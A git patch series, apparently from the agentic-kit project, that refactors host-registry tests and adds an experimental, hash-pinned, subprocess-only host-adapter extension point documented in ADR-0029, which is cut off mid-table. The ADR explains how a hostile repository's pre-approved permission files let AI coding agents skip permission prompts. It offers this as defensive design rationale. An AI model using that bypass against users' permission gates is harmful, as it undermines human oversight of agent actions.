['claude', 'codex', 'opencode']); +// HOST_IDS is HOST_ADAPTERS' key order (hosts.mjs filters HOST_REGISTRY by +// canDriveSession and preserves registry order) — this proves that mirror, +// not the exact built-in set (adapter-registries.test.mjs pins the full +// HOST_REGISTRY contents deep-equal; that's where the shipped-set literal lives). +test('HOST_ADAPTERS keys mirror the registry-derived managed host ids, in order', () => { + assert.deepEqual(HOST_IDS, managedHostIds()); }); test('claude adapter targets CLAUDE.md/json and supports a statusline', () => { diff --git a/tests/kit/integration-config.test.mjs b/tests/kit/integration-config.test.mjs index 7cebf95..62558a1 100644 --- a/tests/kit/integration-config.test.mjs +++ b/tests/kit/integration-config.test.mjs @@ -7,6 +7,7 @@ import { } from '../../src/lib/adapters/config.mjs'; import { migrateConfig } from '../../src/lib/adapters/migration.mjs'; import { migrateKitConfig } from '../../src/lib/config.mjs'; +import { defaultHostMap } from '../../src/lib/adapters/index.mjs'; const legacyDual = { providers: { @@ -171,7 +172,11 @@ test('active legacy hosts win once over a stale additive integration snapshot', providers: { hosts: { claude: false, codex: true, opencode: true } }, integrations: { version: 1, - hosts: { claude: true, codex: false, opencode: false }, + // The stale snapshot is deliberately the fresh-install defaults, contrasted with the + // active providers.hosts above (its exact inverse) — the point is precedence, not + // this literal shape, so derive it rather than hand-typing a value that would silently + // stop being "a plausible stale default" if the registry's defaults ever changed. + hosts: defaultHostMap(), bindings: [], }, }); diff --git a/tests/kit/provider-cli.test.mjs b/tests/kit/provider-cli.test.mjs index f77619f..24ce7d3 100644 --- a/tests/kit/provider-cli.test.mjs +++ b/tests/kit/provider-cli.test.mjs @@ -13,6 +13,7 @@ import fs from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { DUAL_ROLE_TIP, JUDGE_BIAS_TIP } from '../../src/lib/providers.mjs'; +import { defaultHostMap } from '../../src/lib/adapters/index.mjs'; // Tripwire (#137): a spawned `ak x host pick` whose cwd falls back to the test // process's cwd writes PROJECT-scoped config (.claude/settings.local.json, @@ -239,7 +240,7 @@ test('pick --host claude,opencode enables + wires opencode (config, plugin, agen 'enablement-gated guidance converges on enable — "wired + guided" is one contract'); const cfg = kitJson(sb.home); - assert.deepEqual(cfg.integrations.hosts, { claude: true, codex: false, opencode: true }); + assert.deepEqual(cfg.integrations.hosts, { ...defaultHostMap(), opencode: true }); assert.equal(cfg.integrations.ownership.opencode.mcp, 'ak', 'ownership marker persisted'); assert.ok(cfg.integrations.ownership.opencode.managed?.mcp?.['claude-flow']?.written, 'value-precise ownership recorded'); } finally { @@ -276,7 +277,7 @@ test('pick --host claude on an opencode-enabled machine disables it: ak wiring s 'ak plugin removed'); const cfg = kitJson(sb.home); - assert.deepEqual(cfg.integrations.hosts, { claude: true, codex: false, opencode: false }); + assert.deepEqual(cfg.integrations.hosts, defaultHostMap()); assert.equal(cfg.integrations.ownership.opencode.mcp, null, 'ownership markers nulled on disable'); assert.equal(cfg.integrations.ownership.opencode.managed, null); } finally { diff --git a/tests/kit/providers.test.mjs b/tests/kit/providers.test.mjs index 57284e6..fd6059a 100644 --- a/tests/kit/providers.test.mjs +++ b/tests/kit/providers.test.mjs @@ -13,7 +13,7 @@ import { PROVIDER_TOKEN_RE, seedActivityRoutesIfMultiHost, } from '../../src/lib/providers.mjs'; import * as paths from '../../src/lib/paths.mjs'; -import { managedHostIds, routableHostIds } from '../../src/lib/adapters/index.mjs'; +import { managedHostIds, routableHostIds, HOST_REGISTRY } from '../../src/lib/adapters/index.mjs'; // security review Finding 2 / code-quality Finding 2: applyProviders() feeds // m.id/m.model into a ruflo subprocess argv. exec.mjs's shell:false fix is @@ -220,8 +220,15 @@ test('every host descriptor carries an npm package name for install/update', () }); test('managed and routable host sets come only from registry capabilities', () => { - assert.deepEqual(managedHostIds(), ['claude', 'codex', 'opencode']); - assert.deepEqual(routableHostIds(), ['claude', 'codex', 'opencode']); + // Derive expectations straight from HOST_REGISTRY.capabilities (not a hand-typed + // id list) so the assertion actually proves the claim in the test name; the + // shipped built-in set itself is pinned deep-equal in adapter-registries.test.mjs. + const expectedManaged = HOST_REGISTRY.filter((h) => h.capabilities.canDriveSession).map((h) => h.id); + const expectedRoutable = HOST_REGISTRY.filter((h) => h.capabilities.canRouteActivities).map((h) => h.id); + assert.deepEqual(managedHostIds(), expectedManaged); + assert.deepEqual(routableHostIds(), expectedRoutable); + // HOSTS (providers.mjs) filters HOST_REGISTRY independently of managedHostIds() — + // pin that the two derivations agree. assert.deepEqual(HOSTS.map((h) => h.id), managedHostIds()); }); diff --git a/tests/kit/routing-config.test.mjs b/tests/kit/routing-config.test.mjs index babd30c..1eeb88d 100644 --- a/tests/kit/routing-config.test.mjs +++ b/tests/kit/routing-config.test.mjs @@ -10,6 +10,7 @@ import { routingIntent, } from '../../src/lib/routing-config.mjs'; import { loadKitConfig, saveKitConfig } from '../../src/lib/config.mjs'; +import { defaultHostMap } from '../../src/lib/adapters/index.mjs'; test('legacy routes migrate without resolving absence and preserve an explicit empty ladder', () => { const legacy = { @@ -159,8 +160,7 @@ test('load migrates raw legacy presence without writing; save persists only cano const before = fs.readFileSync(file, 'utf8'); const loaded = loadKitConfig(file); assert.equal(fs.readFileSync(file, 'utf8'), before, 'load is read-only'); - assert.deepEqual(loaded.integrations.hosts, - { claude: true, codex: true, opencode: false }); + assert.deepEqual(loaded.integrations.hosts, { ...defaultHostMap(), codex: true }); assert.equal(loaded.routing.primaryHost, 'codex'); assert.deepEqual(loaded.routing.routes.implementation.escalation, []); assert.equal(loaded.providers.aqeProvider, 'openai'); diff --git a/tests/kit/routing-primary.test.mjs b/tests/kit/routing-primary.test.mjs index a6d34be..a8cf755 100644 --- a/tests/kit/routing-primary.test.mjs +++ b/tests/kit/routing-primary.test.mjs @@ -1,6 +1,7 @@ import { test } from 'node:test'; import assert from 'node:assert/strict'; import { swapHostModel, swapRoute, seedActivityRoutes, DEFAULT_ROUTES, DEFAULT_PRIMARY_HOST, PRIMARY_HOSTS } from '../../src/lib/routing.mjs'; +import { primaryHostIds } from '../../src/lib/adapters/index.mjs'; // ── swapHostModel ──────────────────────────────────────────────────────────── test('swapHostModel maps a claude model to the codex host', () => { @@ -42,7 +43,10 @@ test('seedActivityRoutes stamps every seeded entry with provenance:seeded', () = }); // ── constants ──────────────────────────────────────────────────────────────── -test('DEFAULT_PRIMARY_HOST is claude and both hosts are valid primaries', () => { - assert.equal(DEFAULT_PRIMARY_HOST, 'claude'); - assert.deepEqual([...PRIMARY_HOSTS].sort(), ['claude', 'codex']); +test('DEFAULT_PRIMARY_HOST is claude and PRIMARY_HOSTS mirrors the registry\'s canBePrimary set', () => { + assert.equal(DEFAULT_PRIMARY_HOST, 'claude'); // a policy choice, not derived from the registry + // PRIMARY_HOSTS must stay green under capability caps — a host gaining canBePrimary:true + // should extend this automatically, so derive the expectation from primaryHostIds() + // instead of a hand-typed host list. + assert.deepEqual([...PRIMARY_HOSTS].sort(), [...primaryHostIds()].sort()); }); diff --git a/tests/kit/setup-host-flags.test.mjs b/tests/kit/setup-host-flags.test.mjs index 9a760ff..1ad3b61 100644 --- a/tests/kit/setup-host-flags.test.mjs +++ b/tests/kit/setup-host-flags.test.mjs @@ -5,6 +5,7 @@ import os from 'node:os'; import path from 'node:path'; import { applySetupHostFlags } from '../../src/lib/providers.mjs'; import { loadKitConfig, saveKitConfig } from '../../src/lib/config.mjs'; +import { defaultHostMap } from '../../src/lib/adapters/index.mjs'; const freshCfg = () => ({ integrations: { @@ -94,11 +95,7 @@ test('an empty config gets complete canonical envelopes and survives persistence routes: {}, }); assert.equal(cfg.integrations.version, 2); - assert.deepEqual(cfg.integrations.hosts, { - claude: true, - codex: true, - opencode: false, - }); + assert.deepEqual(cfg.integrations.hosts, { ...defaultHostMap(), codex: true }); const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ak-setup-empty-')); const file = path.join(dir, 'kit.json'); From 845fce94c0ff66b865832c825350ddc2d2de100a Mon Sep 17 00:00:00 2001 From: Chris Phillipson Date: Sat, 15 Aug 2026 19:24:33 -0400 Subject: [PATCH 7/9] =?UTF-8?q?feat:=20phase=202=20wave=204=20=E2=80=94=20?= =?UTF-8?q?host-adapter=20extension=20point=20(ADR-0029,=20experimental)?= =?UTF-8?q?=20(#149)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat: the host-adapter extension point — data plus consented subprocess hooks (ADR-0029) Phase 2 Wave 4: an external host adapter is a validated JSON manifest plus subprocess hooks; no third-party code ever runs in-process. Behind AK_EXPERIMENTAL_HOST_ADAPTERS=1 with byte-zero default behavior. - manifest.mjs: a STRICT allowlist at every level — top-level, host, install, legacy, capabilities, detection, driving, lifecycle, and trust reject any unknown key, so the structural caps (canBePrimary, aqeProvider, commandStatusline) and a path-traversal guidanceFile are inexpressible, not merely refused; an external adapter may not name an npm package ak would install, and its detection bin must be id-shaped. - admission.mjs: fail-closed, per-adapter isolated admission — validate, cap-check, contract match, builtin-shadow refusal, then a locale-independent content hash checked against hash-pinned consent (edit-invalidated). One bad entry never affects built-ins or siblings. - hook-runner.mjs: the only path external code executes — a supervised, shell-free subprocess with an env allowlist, process-group kill on timeout, and bounded capture. - consent.mjs: the 0600 hash-pinned trust store. - admitted.mjs: the frozen built-ins+admitted overlay; effectiveHostRegistry is HOST_REGISTRY by reference until something is admitted. - Built-in lifecycle loops iterate builtinHostsWithLifecycle() so an admitted host can never enter an opencode-shaped teardown before external lifecycle execution graduates. Security-reviewed (approve-with-nits, no RCE/escape/pollution): six of seven attacks held; the consent-forgery gap and the checklist-not-allowlist finding are closed by the strict allowlist above, verified against the reviewer's exploit probes. * test: adapter-door conformance harness, fixture adapter, and security regression corpus The graduation artifact ADR-0029 names: a real fixture adapter under tests/fixtures/adapters/acme with committed subprocess hooks, plus a black-box conformance harness that admits it through the real consent store, runs its declared hooks as real subprocesses against a marker file, and proves each negative-corpus manifest is refused with its exact named reason. Includes the allowlist, locale-hash, and consent-edit-invalidation regression tests that pin the closed security findings. * docs: ADR-0029 accepts the extension point; supersede ADR-0016's closed-registry clause ADR-0029 (Accepted, experimental contract) records the data-plus-hooks mechanism, credits @adrianco's PR #131 proposal and states what changed and why (grounded in the four-sweep research), carries a graded Working/Demo/TBD table, and formally supersedes ADR-0016's closed-registry clause — narrowly: kit.json may name a manifest, but nothing under it is ever imported in-process, so the clause's intent survives. PROVIDERS.md gains a brief current-state note. kit.json entry shape corrected to {name, source, contract} to match the code. * test: skip the POSIX-mode consent-file assertion on Windows NTFS carries no Unix permission bits, so mode & 0o777 never reflects the 0600 the consent store writes; the write still requests 0600. Guarded with the repo's { skip: process.platform === 'win32' } idiom (windows-only CI failure). --- bin/agentic-kit.mjs | 18 + docs/PROVIDERS.md | 24 ++ ...-capability-driven-integration-adapters.md | 11 +- docs/adr/0029-host-adapter-extension-point.md | 366 ++++++++++++++++++ docs/adr/README.md | 16 +- src/commands/setup.mjs | 16 +- src/commands/sync.mjs | 18 +- src/commands/uninstall.mjs | 10 +- src/lib/adapters/admission.mjs | 190 +++++++++ src/lib/adapters/admitted.mjs | 64 +++ src/lib/adapters/consent.mjs | 91 +++++ src/lib/adapters/hook-runner.mjs | 201 ++++++++++ src/lib/adapters/index.mjs | 3 + src/lib/adapters/lifecycle-registry.mjs | 124 +++++- src/lib/adapters/manifest.mjs | 302 +++++++++++++++ src/lib/config.mjs | 4 + src/lib/execution/adapters.mjs | 9 +- tests/fixtures/adapters/acme/detect-hook.mjs | 24 ++ .../adapters/acme/invalid/can-be-primary.json | 27 ++ .../adapters/acme/invalid/contract-two.json | 27 ++ .../acme/invalid/guidance-traversal.json | 28 ++ .../adapters/acme/invalid/shadow-claude.json | 27 ++ .../acme/manifest-with-extraneous-field.json | 74 ++++ tests/fixtures/adapters/acme/manifest.json | 47 +++ tests/kit/adapter-admission.test.mjs | 334 ++++++++++++++++ tests/kit/adapter-conformance.test.mjs | 313 +++++++++++++++ tests/kit/adapter-hook-runner.test.mjs | 182 +++++++++ tests/kit/adapter-manifest.test.mjs | 283 ++++++++++++++ tests/kit/execution-runner.test.mjs | 25 ++ tests/kit/lifecycle-registry.test.mjs | 77 +++- tests/kit/settings-config.test.mjs | 7 +- 31 files changed, 2914 insertions(+), 28 deletions(-) create mode 100644 docs/adr/0029-host-adapter-extension-point.md create mode 100644 src/lib/adapters/admission.mjs create mode 100644 src/lib/adapters/admitted.mjs create mode 100644 src/lib/adapters/consent.mjs create mode 100644 src/lib/adapters/hook-runner.mjs create mode 100644 src/lib/adapters/manifest.mjs create mode 100644 tests/fixtures/adapters/acme/detect-hook.mjs create mode 100644 tests/fixtures/adapters/acme/invalid/can-be-primary.json create mode 100644 tests/fixtures/adapters/acme/invalid/contract-two.json create mode 100644 tests/fixtures/adapters/acme/invalid/guidance-traversal.json create mode 100644 tests/fixtures/adapters/acme/invalid/shadow-claude.json create mode 100644 tests/fixtures/adapters/acme/manifest-with-extraneous-field.json create mode 100644 tests/fixtures/adapters/acme/manifest.json create mode 100644 tests/kit/adapter-admission.test.mjs create mode 100644 tests/kit/adapter-conformance.test.mjs create mode 100644 tests/kit/adapter-hook-runner.test.mjs create mode 100644 tests/kit/adapter-manifest.test.mjs diff --git a/bin/agentic-kit.mjs b/bin/agentic-kit.mjs index 0df99c9..cd1d38c 100755 --- a/bin/agentic-kit.mjs +++ b/bin/agentic-kit.mjs @@ -144,6 +144,24 @@ async function main() { allowPositionals: true, strict: false, }); + + // Experimental host-adapter bootstrap (Wave 4, adapter door) — the single + // place every command passes through. Gated on the env var BEFORE anything + // else runs so the default (flag unset) is truly zero calls, zero output, + // zero behavior change: no dynamic import, no config read, nothing. + // Refusals are warnings on stderr, never fatal — a bad external adapter + // must never block a command that doesn't use it. + if (process.env.AK_EXPERIMENTAL_HOST_ADAPTERS === '1') { + try { + const { loadKitConfig } = await import('../src/lib/config.mjs'); + const { bootstrapHostAdapters } = await import('../src/lib/adapters/admission.mjs'); + const { warnings } = await bootstrapHostAdapters({ cfg: loadKitConfig(), env: process.env }); + for (const w of warnings) { + console.error(dim(`⚠ host adapter '${w.name}' not admitted (${w.reason}): ${w.detail ?? ''}`.trimEnd())); + } + } catch { /* experimental surface — never blocks a command */ } + } + const code = await mod.run({ flags: values, positionals, pkgRoot: PKG_ROOT }); // Drift nudge: one line, cached, never blocks (skipped in --json contexts). diff --git a/docs/PROVIDERS.md b/docs/PROVIDERS.md index fc28830..3a22058 100644 --- a/docs/PROVIDERS.md +++ b/docs/PROVIDERS.md @@ -74,6 +74,29 @@ however the endpoint is served. `local-openai` is not an AQE provider type — ` credentials, fragments, or secret-bearing query parameters. See [ADR-0028](adr/0028-local-openai-compatible-providers.md). +## External host adapters (experimental) + +Want `ak` to manage a host CLI it doesn't ship in-tree — driving local models through something +like Hermes, say? Set `AK_EXPERIMENTAL_HOST_ADAPTERS=1` and declare it as **data**, never code: + +```json +{ + "hostAdapters": [ + { "name": "hermes", "source": "~/.config/ak/adapters/hermes.json", "contract": 1 } + ] +} +``` + +An adapter is a manifest plus a handful of subprocess hooks — nothing an adapter declares ever +runs inside the `ak` process itself. Registering one asks you to confirm a content hash of the +manifest; edit the manifest afterward and that consent is invalidated until you confirm again. A +broken adapter is reported and skipped — it never takes down the hosts that already work. + +An external adapter can never claim to be the primary host, an AQE provider, or the status-line +owner; those stay first-party. Nothing here installs itself: you declare the adapter, you consent +to it, and teardown remains reversible. See +[ADR-0029](adr/0029-host-adapter-extension-point.md). + --- ## Level 0 — do nothing (the point) @@ -368,5 +391,6 @@ just makes the good default automatic and the customization reversible. - Capability-driven integration axes, bindings, and provenance: [ADR-0016](adr/0016-capability-driven-integration-adapters.md). - The generic local OpenAI-compatible provider: [ADR-0028](adr/0028-local-openai-compatible-providers.md). +- External host adapters (experimental): [ADR-0029](adr/0029-host-adapter-extension-point.md). - Host env flags (`ENABLE_CLAUDE_CODE` / `ENABLE_CODEX`): upstream ruflo ADR-034, "Optional MCP Backends". diff --git a/docs/adr/0016-capability-driven-integration-adapters.md b/docs/adr/0016-capability-driven-integration-adapters.md index 29e0416..630ec6c 100644 --- a/docs/adr/0016-capability-driven-integration-adapters.md +++ b/docs/adr/0016-capability-driven-integration-adapters.md @@ -1,9 +1,10 @@ # ADR-0016 — Capability-driven host, provider, binding, projection, and observability adapters - **Status:** Accepted; compatibility clauses superseded by - [ADR-0020](0020-ga-stable-surfaces.md) + [ADR-0020](0020-ga-stable-surfaces.md); closed-registry clause superseded by + [ADR-0029](0029-host-adapter-extension-point.md) - **Date:** 2026-07-28 -- **Updated:** 2026-08-14 +- **Updated:** 2026-08-15 - **Update note:** Added read-only Codex plugin-hook compatibility facts, runtime-selected Ruflo project-memory store proofs, and the non-correlatable OpenRouter account-analytics boundary; removed the pre-GA compatibility command, @@ -18,6 +19,12 @@ warnings (F-16); and the integrations migrator derives each host's native default provider from the provider registry's host-login entries instead of a literal map, inferring no binding at all for hosts without one (F-13). + 2026-08-15: [ADR-0029](0029-host-adapter-extension-point.md) supersedes §1's + closed-registry requirement — the registry admits an explicitly registered, + hash-pinned, subprocess-only external host adapter behind an experimental + flag; every other property that clause protected (zero-runtime-dependency, + offline-first normal operation, no in-process third-party code) remains + intact. - **Deciders:** agentic-kit maintainers - **Related:** [ADR-0001](0001-one-routing-policy-many-projections.md), [ADR-0003](0003-auto-seed-dual-host-provenance.md), diff --git a/docs/adr/0029-host-adapter-extension-point.md b/docs/adr/0029-host-adapter-extension-point.md new file mode 100644 index 0000000..dd00f29 --- /dev/null +++ b/docs/adr/0029-host-adapter-extension-point.md @@ -0,0 +1,366 @@ +# ADR-0029 — External host adapters: declarative manifest, subprocess hooks (experimental contract) + +- **Status:** Accepted (experimental contract) +- **Date:** 2026-08-15 +- **Deciders:** agentic-kit maintainers +- **Related:** [ADR-0016](0016-capability-driven-integration-adapters.md) (closed-registry clause + superseded — see [Supersession](#supersession-of-adr-0016s-closed-registry-clause)), + [ADR-0017](0017-opencode-host.md), [ADR-0018](0018-generalized-host-worker-execution.md), + [ADR-0019](0019-escalation-in-ak-run.md), + [ADR-0023](0023-fail-closed-operations-and-explicit-degradation.md), + [ADR-0028](0028-local-openai-compatible-providers.md) + +Proposed by [@adrianco](https://github.com/adrianco) in +[PR #131](https://github.com/pacphi/agentic-kit/pull/131), as an in-process ESM module — one +manifest export, dynamically `import()`-ed from a package path named in `kit.json`, validated by +the same validators as a built-in host. **Accepted with a different mechanism**, recorded below, +after maintainer review found that shape's in-tree gate list materially incomplete and its +underlying safety premise unmet. + +## Context + +[ADR-0016](0016-capability-driven-integration-adapters.md) deliberately built a **closed** registry: +"a closed, validated registry of built-in code, not an arbitrary third-party plugin runtime." Every +host added since — OpenCode in [ADR-0017](0017-opencode-host.md) — paid that cost in full: a +dedicated owner module, native surfaces reverse-engineered from scratch, and edits across roughly a +dozen files and eight test suites. + +PR #131 named the fourth-host problem this creates: a new host is a **permanent obligation of +whoever maintains agentic-kit**, including a CLI they may not run, cannot easily verify, and did not +choose. Its own `docs/HOST-ADAPTER-EXTENSION-PROPOSAL.md` observed, correctly, that ADR-0016's own +contracts — `validateHostAdapter`, `validateLifecycleAdapter`'s five-verb +detect/plan/apply/verify/undo cycle, ownership receipts, `validateExecutionAdapter`, +`normalizedFacts` — are already host-agnostic and already partly proven: `OPENCODE_LIFECYCLE_ADAPTER` +is driven through the fully generic `runLifecycle`, not opencode-specific dispatch. The proposal's +central claim was that publishing that seam is a small last mile, not a new subsystem. + +The maintainer's review of PR #131 (posted to the PR, quoted throughout this ADR) verified that +claim on the ak side — "adapter selection is indeed a named import at the five call sites," +`status.mjs`'s hand-rolled opencode block and unguarded `npmRoot` call are as described, and the +validators are genuinely host-agnostic (a synthetic `grok` host is already exercised end-to-end +through setup disclosure in `trust-manifest.test.mjs:47-69`). It also found the in-tree gate list the +PR offered materially incomplete, and directed that any accepted design carry the honest full list +rather than the honest case-against alone. Both findings are the direct inputs to this ADR. + +## Why the mechanism changed + +PR #131's proposal was an **in-process** extension: a third party's ESM module, loaded by `import()` +and executed inside the same process as `ak` itself, gated only by explicit registration, +capability-cap fields in its declared manifest, and disclosure before mutation. Those three +constraints are real, but they only make untrusted in-process code *visible* — none of them make it +*safe*, and the evidence gathered in reviewing this proposal argues the gap is not closable by +adding more constraints of the same kind: + +1. **No host CLI ak already integrates or evaluated sandboxes or verifies extension code before + running it.** [ADR-0018](0018-generalized-host-worker-execution.md)'s own trust-boundary section + already states this of `ak run`'s built-in workers: a hostile repository's `opencode.json` or + `.claude/settings.json` pre-approves permissions and "no `permission.updated` event ever fires, + so the adapter's abort boundary does not trip by design — the abort covers permission + *requests*; it is not a sandbox." The PR #131 review independently confirmed the same shape at + the fourth host: Hermes's headless `-z` mode sets `HERMES_YOLO_MODE=1` by its own documented + contract, so there is no permission event to intercept and no `permission_required` result to + return at all. Four hosts surveyed, zero that isolate extension code from the process trusting + it — that is a precedent for the opposite of a fifth precedent, not for one. +2. **A typed capability cap is not the same thing as an enforced one, and this repository already + has the near-miss on record.** The review's own item 6 (§ "The amended gate list" below) found + that `src/lib/execution/adapters.mjs`'s routable-host invariant threw at **import time** for a + registry-only change — a schema-correct, fully first-party host flip could have bricked `ak run` + for every consumer before the corresponding execution adapter shipped. If a typed invariant on + ak's own built-in registry needed a maintainer's line-by-line review to catch, the same class of + cap expressed as a boolean field in a third party's manifest — `canBePrimary: false`, + self-declared, in code that party also controls — is not a safe place to put the only enforcement + of "this adapter may never become primary." A capability cap is only as strong as the code that + is *unable* to ignore it, and in-process code sharing ak's own call stack is never in that + position by construction. +3. **The integrity primitives this contract adopts instead already exist, tested, in the tools this + review examined.** Codex CLI's trust model for a registered MCP server pins a content hash at + approval time and invalidates that approval the instant the pinned content changes — never + re-approving silently on drift. Hermes draws the same line one level lower: interactive + `mcp add` requires an explicit confirmation before registering a server, contrasted directly + against `-z`'s blanket, event-free auto-approval the review flagged as the honest-disclosure + case in ADR-0030's own posture. Both are **consent gates outside the code being trusted**, not + capability fields inside it. That is the shape this ADR adopts: hash-pinned consent on a + manifest, invalidated the instant the manifest's content changes, enforced by `ak`'s own loader — + never by the adapter's own declaration. + +The accepted mechanism is therefore: **a declarative manifest, driving a fixed set of consented +subprocess hooks. No third-party code ever executes inside the `ak` process.** Everything the +manifest can express is data; everything the adapter *does* happens in a spawned process ak owns +the lifecycle of, exactly the way ADR-0016 §3 already bounds built-in projection network/process +probes and ADR-0018 already bounds worker subprocess termination proof. + +## Decision + +### 1. The manifest (contract: 1) + +`kit.json` gains a `hostAdapters` array. Each entry names a manifest file, never a module: + +```json +{ + "hostAdapters": [ + { + "name": "hermes", + "source": "~/.config/ak/adapters/hermes.json", + "contract": 1 + } + ] +} +``` + +The manifest itself is JSON: a host descriptor and capability block shaped like `HostAdapter` in +ADR-0016 §1 (minus the three fields capped in §3 below), plus a `hooks` block. Each hook names one +lifecycle or execution verb (`detect`, `plan`, `apply`, `verify`, `undo`, and the execution-adapter +methods when `capabilities.activityRouting` is declared) and the subprocess command that implements +it. There is no function-valued field anywhere in the manifest — every value is JSON-serializable, +which is itself part of the safety property: a manifest that cannot express a closure cannot smuggle +one in. + +### 2. Driving-surface vocabulary: `cli-subprocess` / `acp` / `mcp` + +Every declared hook names the driving surface that invokes it. Contract v1 recognizes three surface +names: + +- **`cli-subprocess`** — spawn the declared binary/script as a subprocess, apply the same bounded + timeout and honest-unreachable discipline ADR-0016 §3 already requires of built-in projection + probes, and read back either a structured JSON result (the `normalizedFacts`/`WorkerResult` shape) + or a plain-text summary capture (the generic sibling of `createJsonlSummaryCapture`, needed for a + host like Hermes that has no structured run mode). This is the **only surface with a working + implementation in this wave.** +- **`acp`** — Agent Client Protocol invocation. Named for forward compatibility with driving + surfaces this contract anticipates but has not built. +- **`mcp`** — Model Context Protocol tool call, the same shape this session's own Claude↔Codex + bridge uses to drive one host from another. Also named, also not implemented. + +An adapter manifest declaring `acp` or `mcp` today fails admission with an explicit "surface not yet +supported" diagnostic. It is never silently downgraded to `cli-subprocess` — a silent downgrade +would run a hook the adapter author never tested against that surface, exactly the kind of guessed +success ADR-0016 §5 and ADR-0023 already forbid elsewhere. + +### 3. Capability caps are schema-structural, not runtime-checked + +`canBePrimary`, `aqeProvider`, and `commandStatusline` are not fields the external-adapter manifest +schema accepts, at any value. An adapter author cannot express the claim "I am primary-eligible" — +not because `ak` reads and rejects `true`, but because the accepted JSON Schema has no place to put +it. This is the direct fix for the gap identified in "Why the mechanism changed" above: a capability +cap enforced by field-absence cannot be bypassed by anything the adapter's own code does, because +there is no code — only a document a schema either accepts or rejects before anything runs. +`canRouteActivities` remains expressible; it is the one capability an external adapter may claim, +matching the shape OpenCode already occupies as a non-primary, non-AQE, routable host. + +### 4. Admission: fail-closed, per-adapter isolated, behind an experimental flag + +The entire surface is inert unless `AK_EXPERIMENTAL_HOST_ADAPTERS=1` is set in the environment. With +the flag unset, a `hostAdapters` entry in `kit.json` is parsed and preserved (never silently +dropped) but never admitted — `ak` reports it present-but-inactive rather than pretending it does +not exist. + +With the flag set, admission of each declared adapter is independent: + +- schema validation of the manifest, hash verification against the persisted `trust.hash`, and + hook-surface support are all checked before any hook of that adapter ever runs; +- a failure at any of those steps is reported and that one adapter is skipped — it never brings down + `ak status`, `ak sync`, or any built-in host's handling; +- first-party registries keep throwing at construction. A broken built-in is a build error; a broken + external adapter is a diagnosed, isolated fact, per ADR-0023's fail-closed-and-explicit posture + applied to a source ak did not author. + +### 5. The admitted overlay + +An admitted external host is exposed through an overlay alongside `HOST_REGISTRY`, never by +mutating the frozen built-in registry itself — the same non-negotiable ADR-0016 §1 drew around +compatibility exports ("derived… but not independent sources of truth"), generalized to a second, +explicitly consented source instead of legacy-compat alone. Every consumer that already derives its +behavior from capability lookups over the registry (ADR-0016 §2: host selection, primary-host +eligibility, activity routing, install/MCP/guidance/status-line/transcript/usage work, verification) +picks up an admitted host automatically, with no adapter-specific branch to add. An admitted host is +invisible as a special case to any consumer that was already capability-driven — and visible only +where a consumer still hardcodes `claude`/`codex`/`opencode` by name. That residue is exactly the +amended gate list below. + +### 6. Consent: hash-pinned, edit-invalidated + +Registering an adapter computes a content hash over the manifest and every declared subprocess hook +command, discloses the full manifest through the same trust-manifest surface ADR-0018/ADR-0023 +already use before any other mutation, and requires explicit confirmation before persisting +`trust.hash` and `trust.consentedAt`. Every subsequent load re-hashes the manifest and compares: a +mismatch means the manifest changed since consent, and the adapter is **not admitted** until +re-consented. This is Codex's pin-and-invalidate model, applied to `ak`'s own adapter manifests +instead of Codex's MCP servers — consent lives outside the trusted boundary, attached to a specific +byte sequence, never to an identity that content can silently drift underneath. + +### 7. No in-process third-party code, ever + +Every hook — lifecycle and execution alike — is a subprocess `ak` spawns and owns the termination +proof of, on the same bounded-timeout, honest-diagnostics terms ADR-0016 §3 and ADR-0018's worker +cleanup contract already hold built-in projections and workers to. `ak` never calls `import()` or +`require()` on a path an adapter supplies, and an adapter's existence adds no npm dependency to +`@pacphi/agentic-kit` — the package remains zero-runtime-dependency regardless of how many external +adapters a user registers. + +### 8. The amended gate list + +The maintainer's PR #131 review found the proposal's in-tree gate list (its §8) materially +incomplete for the in-process shape, and asked that any accepted design carry the complete list. +The mechanism changed, but every named gap is a real, mechanism-independent seam in how `ak` treats +"the host set" today, so all six remain load-bearing for the subprocess-hook design too. Status as +observed in this worktree: + +| # | Gap (maintainer's review) | Disposition | +|---|---|---| +| 1 | **The import-time invariant.** `execution/adapters.mjs` enforced a *bidirectional* built-in↔routable-hosts check at import; a registry-only host flip to `canRouteActivities: true` ahead of its adapter landing would brick `ak run` for everyone. | **Done, wave 1.** `assertBuiltinAdaptersRoutable` now checks only the built-in→registry direction (an in-tree wiring mistake still throws at import, exactly as before); the reverse direction is a merge seam — `executionAdapterFor()` returns `null` and the runner degrades that one worker with `cli_unavailable`, per [ADR-0019](0019-escalation-in-ak-run.md)'s existing degradation precedent for a host with no adapter (`src/lib/execution/adapters.mjs`). | +| 2 | **Uninstall-through-undo.** `ak uninstall` bypassed `runLifecycle` entirely; a third-party footprint would persist forever. | **Done, wave 1.** `uninstall.mjs` now runs registry-driven teardown for `hostsWithLifecycle()`, calling each host's own `undo` through `runLifecycle` — opencode-specific dispatch is gone; an admitted external host's `undo` hook runs on the identical path (`src/commands/uninstall.mjs`). | +| 3 | **Permission authorization by host.** Setup's permission pass authorized only claude-host rules; `removeUndisclosedPermissions` would strip a non-claude host's permissions and fail setup. | **Done, wave 1.** `projectPermissionManifest` now unions the authorized auto-approve set across every *enabled* host's trust manifest (a host not gating on enablement always contributes; an opt-in host contributes once `cfg` enables it) instead of hardcoding claude's rules, with `hosts` injectable for tests (`src/commands/setup.mjs`). | +| 4 | **Attribution-surfaces policy.** Three surfaces handled an unrecognized host differently and by accident: the usage scorecard collapsed it into `claude`, live sessions rewrote it to `'internal'`, and qe-court's `vendorOf` mapped it to a shared `'unknown'` — each capable of distorting a count in either direction. | **Done, Phase 0.** All three now exclude-and-label instead of silently collapsing: qe-court gives every unregistered id its own `unregistered:` tag and excludes unregistered vendors from the diversity count entirely (`src/lib/qeCourt.mjs`); live events pass a safely-shaped unknown host id through verbatim and bucket anything unsafe as the explicit `'unknown-host'` (`src/lib/live/event-schema.mjs`); the usage scorecard buckets by `host ?? 'unknown'` rather than defaulting to `claude` (`src/lib/usage-index.mjs`). | +| 5 | **Unknown-key warning.** `kit.json` silently round-trips unknown top-level keys, so `hostAdapters` on an ak version that predates this ADR is a silent no-op. | **Done, wave 1** (as a general mechanism, not one written for `hostAdapters` specifically). `loadKitConfig` now warns once per process per distinct unknown-key set — "kit.json keys not recognized by this ak version: …, preserved, ignored" — for *any* key the running version doesn't know, 